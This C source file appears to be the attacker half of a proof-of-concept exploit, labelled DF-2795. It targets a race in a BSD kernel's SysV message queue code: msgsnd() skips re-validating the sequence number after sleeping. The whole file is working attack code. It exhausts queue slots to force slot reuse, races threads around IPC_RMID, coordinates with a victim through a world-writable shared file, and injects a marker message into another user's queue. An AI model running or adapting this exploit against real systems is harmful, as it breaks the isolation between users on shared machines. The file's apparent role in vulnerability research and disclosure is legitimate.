/*
 * DF-2795 -- SysV msgsnd() does not re-validate the ipc sequence number
 * after tsleep() (sys/kern/sysv_msg.c:605 checks only msg_qbytes==0,
 * while msgrcv at :977-978 rechecks the seq).  A sender that went to
 * sleep WITHOUT owning MSG_LOCKED (we_own_it==0, i.e. it slept because
 * another msgsnd was mid-copyin holding MSG_LOCKED, sysv_msg.c:570-583)
 * can wake up AFTER the queue was IPC_RMID'd *and* the same msqid_ds
 * slot was re-allocated by msgget() for a different owner.  The stale
 * sender then enqueues its message into the NEW queue using the OLD
 * queue's permission check -- cross-user message injection.
 *
 * Attacker half (unprivileged).  Victim half is victim.c (other uid).
 *
 * cc -O2 -pthread -o df2795 df2795.c
 * ./df2795 [usec_B_to_A=60] [usec_A_to_RMID=200] [seconds=60]
 */
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <dirent.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/stat.h>

#define NA		96	/* stale sleeper senders */
#define HITDIR		"/var/tmp/df2795"
#define BACKING		HITDIR "/pager.bin"
#define BACKING_MB	512

static double
now(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return (ts.tv_sec + ts.tv_nsec / 1e9);
}

struct { long mtype; char mtext[32]; } smallmsg = { 0x2795, "PWNED-BY-DF2795" };

static int round_qid = -1;
static volatile int round_gen;
static pthread_mutex_t mx = PTHREAD_MUTEX_INITIALIZER;
static pthread_cond_t  cv_b = PTHREAD_COND_INITIALIZER;
static pthread_cond_t  cv_a = PTHREAD_COND_INITIALIZER;
static pthread_cond_t  cv_d = PTHREAD_COND_INITIALIZER;
static pthread_barrier_t bar_A_done, bar_b_done, bar_d_done;

#define CTRL		HITDIR "/ctrl"
struct ctrl { volatile unsigned int state, target_ix, vqid; };
static struct ctrl *ctl;

static int backfd = -1;
static void  *bmap;
static long  a_rc[NA];
static int   b_rc, d_rc;

/* ---- B: the lock-holder that blocks in copyin ---------------------- */
static void *
thr_B(void *arg)
{
	int gen = 0;
	char *msgp;

	(void)arg;
	for (;;) {
		pthread_mutex_lock(&mx);
		while (gen == round_gen)
			pthread_cond_wait(&cv_b, &mx);
		gen = round_gen;
		pthread_mutex_unlock(&mx);

		msgp = (char *)bmap + 4096 - 8;	/* type in last 8B of page0 */
		*(long *)msgp = 1;		/* valid type (>=1) */
		b_rc = msgsnd(round_qid, msgp, 64, 0); /* 64B body -> page1 */
		pthread_barrier_wait(&bar_b_done);
	}
	return (NULL);
}

/* ---- A: stale sleeper senders -------------------------------------- */
static void *
thr_A(void *arg)
{
	long idx = (long)arg;
	int gen = 0;

	for (;;) {
		pthread_mutex_lock(&mx);
		while (gen == round_gen)
			pthread_cond_wait(&cv_a, &mx);
		gen = round_gen;
		pthread_mutex_unlock(&mx);

		a_rc[idx] = msgsnd(round_qid, &smallmsg,
		    sizeof(smallmsg.mtext), 0);
		if (a_rc[idx] == -1)
			a_rc[idx] = -errno;	/* keep the real errno */
		pthread_barrier_wait(&bar_A_done);
	}
	return (NULL);
}

/* ---- D: the RMIDer -------------------------------------------------- */
static void *
thr_D(void *arg)
{
	int gen = 0;

	(void)arg;
	for (;;) {
		pthread_mutex_lock(&mx);
		while (gen == round_gen)
			pthread_cond_wait(&cv_d, &mx);
		gen = round_gen;
		pthread_mutex_unlock(&mx);

		d_rc = msgctl(round_qid, IPC_RMID, NULL);
		pthread_barrier_wait(&bar_d_done);
	}
	return (NULL);
}

static void
prep_b_map(void)
{
	off_t off;
	void *map;

	/* random cold page in the backing file */
	off = ((off_t)(random() % ((BACKING_MB << 20) / 4096 - 4))) * 4096;
	posix_fadvise(backfd, off & ~4095LL, 3 * 4096, POSIX_FADV_DONTNEED);
	map = mmap(NULL, 3 * 4096, PROT_READ | PROT_WRITE, MAP_SHARED,
	    backfd, off);
	if (map == MAP_FAILED) {
		perror("mmap");
		exit(2);
	}
	/* fault page0 in NOW (type must be resident); leave page1 cold */
	*(volatile char *)map = 1;
	__sync_synchronize();
	bmap = map;
}

static int
hit_file_exists(char *out, size_t outlen)
{
	DIR *d = opendir(HITDIR);
	struct dirent *de;
	int found = 0;

	if (d == NULL)
		return (0);
	while ((de = readdir(d)) != NULL) {
		if (strncmp(de->d_name, "hit.", 4) == 0) {
			snprintf(out, outlen, HITDIR "/%s", de->d_name);
			found = 1;
			break;
		}
	}
	closedir(d);
	return (found);
}

int
main(int argc, char **argv)
{
	long usec_a = argc > 1 ? atol(argv[1]) : 60;	/* B -> A delay   */
	long usec_r = argc > 2 ? atol(argv[2]) : 200;	/* A -> RMID delay*/
	double secs  = argc > 3 ? atof(argv[3]) : 60.0;
	pthread_t tb, td, ta[NA];
	int junk[128], njunk = 0, i, round = 0, realrounds = 0, ret = 1;
	long n0 = 0, nidrm = 0, ninval = 0, nother = 0;
	long rcfreq[256];
	long rcfreq2[256];
	memset(rcfreq, 0, sizeof(rcfreq));
	memset(rcfreq2, 0, sizeof(rcfreq2));
	double t_b_launched, t_d_fired, t_a_done;
	double bmin = 1e9, bmax = 0, bsum = 0, t0;
	char hitfile[256];

	setvbuf(stdout, NULL, _IOLBF, 0);
	srandom(getpid() ^ time(NULL));
	mkdir(HITDIR, 0777);
	{
		int cfd = open(CTRL, O_RDWR | O_CREAT, 0666);
		if (cfd < 0) { perror("open " CTRL); return 2; }
		fchmod(cfd, 0666);	/* defeat umask for the other uid */
		ftruncate(cfd, sizeof(struct ctrl));
		ctl = mmap(NULL, sizeof(*ctl), PROT_READ | PROT_WRITE,
		    MAP_SHARED, cfd, 0);
		if (ctl == MAP_FAILED) { perror("mmap ctrl"); return 2; }
		ctl->state = 0;
	}
	backfd = open(BACKING, O_RDWR | O_CREAT, 0644);
	if (backfd < 0) { perror("open " BACKING); return 2; }
	if (ftruncate(backfd, (off_t)BACKING_MB << 20) < 0)
		perror("ftruncate (continuing, cache may be warm)");
	/* scribble once so the file has real blocks */
	if (fork() == 0) {	/* child warms the file, then dies */
		char z[4096];
		memset(z, 0x5a, sizeof(z));
		lseek(backfd, 0, SEEK_SET);
		for (i = 0; i < 64; i++) {	/* only first 256KB; rest sparse */
			if (write(backfd, z, sizeof(z)) < 0) _exit(1);
		}
		_exit(0);
	}
	wait(NULL);

	/* fill msgmni-1 slots so the victim's msgget must use OUR freed slot */
	for (;;) {
		int q = msgget(IPC_PRIVATE, 0600);
		if (q < 0)
			break;
		junk[njunk++] = q;
		if (njunk >= 128) break;
	}
	if (njunk >= 40) {	/* leave exactly one slot free for the cycle */
		msgctl(junk[--njunk], IPC_RMID, NULL);
	}
	printf("filled %d junk slots (msgmni-1 expected)\n", njunk);
	if (njunk < 2) {
		printf("cannot establish slot invariant\n");
		goto out;
	}

	pthread_barrier_init(&bar_A_done, NULL, NA + 1);
	pthread_barrier_init(&bar_b_done, NULL, 2);
	pthread_barrier_init(&bar_d_done, NULL, 2);
	pthread_create(&tb, NULL, thr_B, NULL);
	pthread_create(&td, NULL, thr_D, NULL);
	for (i = 0; i < NA; i++)
		pthread_create(&ta[i], NULL, thr_A, (void *)(long)i);
	usleep(100000);		/* let threads reach their condvars */

	t0 = now();
	while (now() - t0 < secs) {
		double tb0, d;

		round++;
		round_qid = msgget(IPC_PRIVATE, 0666);
		if (round_qid < 0) {	/* victim holds the free slot; spin */
			usleep(100);
			continue;
		}
		realrounds++;
		ctl->target_ix = (unsigned int)(round_qid & 0xffff);
		__sync_synchronize();
		ctl->state = 1;			/* victim may start spinning */
		prep_b_map();
		tb0 = now();

		/* 1. B enters msgsnd and blocks in its body copyin */
		t_b_launched = now();
		round_gen++;
		pthread_cond_broadcast(&cv_b);
		usleep(usec_a);

		/* 2. A's check the queue: MSG_LOCKED set -> sleep unowned */
		pthread_cond_broadcast(&cv_a);
		usleep(usec_r);

		/* 3. RMID while B still holds MSG_LOCKED mid-copyin */
		t_d_fired = now();
		pthread_cond_broadcast(&cv_d);

		pthread_barrier_wait(&bar_d_done);
		pthread_barrier_wait(&bar_b_done);
		pthread_barrier_wait(&bar_A_done);
		t_a_done = now();
		d = now() - tb0;
		bsum += d;
		if (d < bmin) bmin = d;
		if (d > bmax) bmax = d;

		for (i = 0; i < NA; i++) {
			int rv = (int)a_rc[i];
			if (rv >= -256 && rv < 0)
				rcfreq[-rv]++;	/* errno convention -1 */
			if (a_rc[i] == 0) n0++;
			else if (a_rc[i] == EIDRM) nidrm++;
			else if (a_rc[i] == EINVAL) ninval++;
			else nother++;
			rcfreq2[(int)a_rc[i] < 0 ? 0 : ((int)a_rc[i] < 256 ? (int)a_rc[i] : 255)]++;
		}
		if (bmap) { munmap(bmap, 3 * 4096); bmap = NULL; }

		/* wait for victim to take + drop the slot (max 200ms) */
		{
			double tw = now();
			while (ctl->state != 3 && now() - tw < 0.2)
				usleep(50);
			if (ctl->state == 2)
				printf("round %d: victim still holding "
				    "(vqid=%d)\n", round, ctl->vqid);
			ctl->state = 0;	/* reset for next round */
		}

		if ((realrounds % 10) == 0 || realrounds < 5)
			printf("round %d/%d: rc0=%ld EIDRM=%ld EINVAL=%ld "
			    "other=%ld B[%.0f..%.0fus avg %.0f] d_rc=%d "
			    "phases: B+%.1fms D+%.1fms Adone+%.1fms "
			    "vstate=%u vqid=%u\n",
			    round, realrounds, n0, nidrm, ninval, nother,
			    bmin * 1e6, bmax * 1e6, bsum / realrounds * 1e6,
			    d_rc,
			    (t_d_fired - t_b_launched) * 1e3,
			    (t_a_done - t_d_fired) * 1e3,
			    (t_a_done - t_b_launched) * 1e3,
			    ctl->state, ctl->vqid);
		if (hit_file_exists(hitfile, sizeof(hitfile))) {
			printf("\n*** HIT after %d real rounds ***\n",
			    realrounds);
			printf("victim evidence file: %s\n", hitfile);
			fflush(stdout);
			system("cat " HITDIR "/hit.* 2>/dev/null");
			ret = 0;
			break;
		}
	}
	printf("final: rounds=%d real=%d rc0=%ld EIDRM=%ld EINVAL=%ld "
	    "other=%ld B[%0.0f..%0.0fus avg %0.0f]\n",
	    round, realrounds, n0, nidrm, ninval, nother,
	    realrounds ? bmin * 1e6 : 0, bmax * 1e6,
	    realrounds ? bsum / realrounds * 1e6 : 0);
	{
		int j;
		printf("rc frequency: ");
		for (j = 0; j < 256; j++)
			if (rcfreq[j]) printf("E%d=%ld ", j, rcfreq[j]);
		printf("| raw: ");
		for (j = 0; j < 256; j++)
			if (rcfreq2[j]) printf("[%d]=%ld ", j, rcfreq2[j]);
		printf("\n");
	}
out:
	for (i = 0; i < njunk; i++)
		msgctl(junk[i], IPC_RMID, NULL);
	return (ret);
}